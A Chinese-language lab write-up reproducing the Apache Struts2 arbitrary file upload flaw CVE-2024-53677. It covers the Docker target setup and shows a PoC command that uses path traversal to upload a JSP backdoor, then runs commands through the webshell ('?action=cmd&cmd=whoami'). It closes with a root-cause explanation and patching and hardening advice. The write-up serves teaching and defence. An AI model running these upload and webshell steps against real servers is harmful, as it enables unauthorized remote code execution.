Apache Struts2 - 任意文件上传漏洞 - CVE-2024-53677
0x01:漏洞简介
Apache Struts 是美国 Apache 基金会的一个开源项目,是一套用于创建企业级 Java Web 应用的开源 MVC 框架(将软件分为模型(Model)、视图(View)和控制器(Controller)三部分)。
CVE-2024-53677 是一个在 Apache Struts 框架中发现的严重漏洞,可能允许攻击者远程执行任意代码。漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径穿越和恶意文件上传。
0x02:影响范围
注:未启用 FileUploadInterceptor 组件的应用程序不受此漏洞影响。
-
2.0.0 <= Apache Struts <= 2.3.37
-
2.5.0 <= Apache Struts <= 2.5.33
-
6.0.0 <= Apache Struts <= 6.3.0.2
0x03:环境搭建
环境准备
靶机环境:CentOS 7 - IP 172.16.0.101
攻击机环境:Kali Linux - IP 172.16.0.103
0x0301:靶机环境搭建
靶机:CentOS 7 服务器配置概览
Docker 环境:ARL 灯塔 | CentOS7 — ARL 灯塔搭建流程(Docker)_灯塔arl-CSDN博客
本次靶场的搭建采用 Docker 进行搭建,CentOS 7 安装 Docker 的流程可以参考上面提供的链接。
当安装好 Docker 后,依次输入下面的命令获取 CVE-2024-53677 的实验环境:
git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git # 拉取项目
cd CVE-2024-53677-Docker # 进入文件夹中
然后输入下面的命令根据 Dockerfile 文件构建一个镜像(这里需要挂代理):
# build 过程中先开代理,报错后关闭代理再 build
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
然后输入下面的命令,创建容器运行 CVE-2024-53677 镜像:
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it cve-2024-53677
运行完容器后,我们到 Kali Linux 中,访问靶机的 8080 端口,验证一下环境是否搭建成功:
如上,当看到上面的内容,就证明靶机环境启动好了,等待一会就可以进入漏洞环境了。
0x0302:攻击机环境搭建
攻击机:Kali Linux 配置概览
漏洞 POC:CVE-2024-53677 - POC.zip
攻击机就不用配置啥环境了,把 CVE-2024-53677 的漏洞 POC 下载下去即可。
# POC 用法
python CVE-2024-53677.py -u http://172.16.0.101:8080/upload.action -filename ../shell.jsp -file shell.jsp -type s
# -u => 文件上传点的完整的 URL
# -filename => 我们上传后的文件在靶场中的位置
# -file => 我们本地要上传的文件的位置
# -type s => 代表只上传单个文件
0x04:漏洞复现
漏洞复现比较 Easy,但是这里有一个魔鬼细节,我们初始访问靶场长下面这样嘛:
我们这里需要点击 “Browse” 按钮,随机上传一个文件,来让这个靶场初始化后才可以继续漏洞的复现(笔者尝试过了,盲猜是一开始没有 upload
文件夹,必须得传入一个东西后才自动生成):
初始化靶场后,记得我们刚刚下载的那个 POC 嘛,POC 包里还有一个叫 shell.jsp 的文件,这是一个后门木马文件,待会我们就要将这个木马利用 struts2 的漏洞上传上去:
在 Kali Linux 中输入下面的命令,使用 POC 上传 shell.jsp 文件到靶场中:
python CVE-2024-53677.py -u http://172.16.0.101:8080/upload.action -filename ../shell.jsp -file shell.jsp -type s
如上,POC 结果显示上传成功,并且返回的 img
标签中还包含了我们木马的位置,我们将这个路径拼接到靶场的 URL 中即可访问 shell.jsp
文件:
http://172.16.0.101:8080/uploads/../shell.jsp
如上,成功访问,这个 shell.jsp 的利用方法如下,我们通过传入如下参数,即可在靶机执行任意命令:
?action=cmd&cmd=whoami
0x05:原理分析
Struts2 中有一个值栈的功能,“值栈” 顾名思义,是一个 “栈” 类型的数据,用来存储一些程序运行的时候需要用到的值。
在 Struts2 中,当我们访问一个 Action 的时候,它就会创建该 Action 类的实例并将它推送到值栈的顶部。比如我们文件上传的时候,访问的 upload.action,当我们访问它的时候,Struts 就会实例化它并将它放到栈的顶部。因此,通过找到栈的顶部数据,我们就能够访问到它。
同时,Struts 又把文件绑定到了 Action 中,因此,如果攻击者通过值栈顶部的数据,修改文件的属性,就可以实现控制文件名达到目录遍历的效果。(目录遍历漏洞可以让攻击者控制文件上传的地方,比如站点根目录下,此时攻击者访问恶意程序,就会导致恶意程序直接在靶机服务器中执行)
0x06:修复方案
安全更新:更新 Apache Struts 到 6.4.0 以上版本即可修复该漏洞。
下载链接:Download a Release
加固建议
针对系统文件上传模块进行严格的身份认证和权限控制,避免匿名用户和未授权的访问。
将文件上传目录和其他可写目录权限设置为不可执行,禁止 web 容器解析这些目录下的文件。
在保存用户上传的文件时不直接使用原文件名,用随机生成的文件名替代以避免被攻击者操纵。
使用对象存储或网络存储的方式,保存用户上传的文件。
加强 web 应用的监控和日志记录,重点监测路径穿越和文件上传相关流量。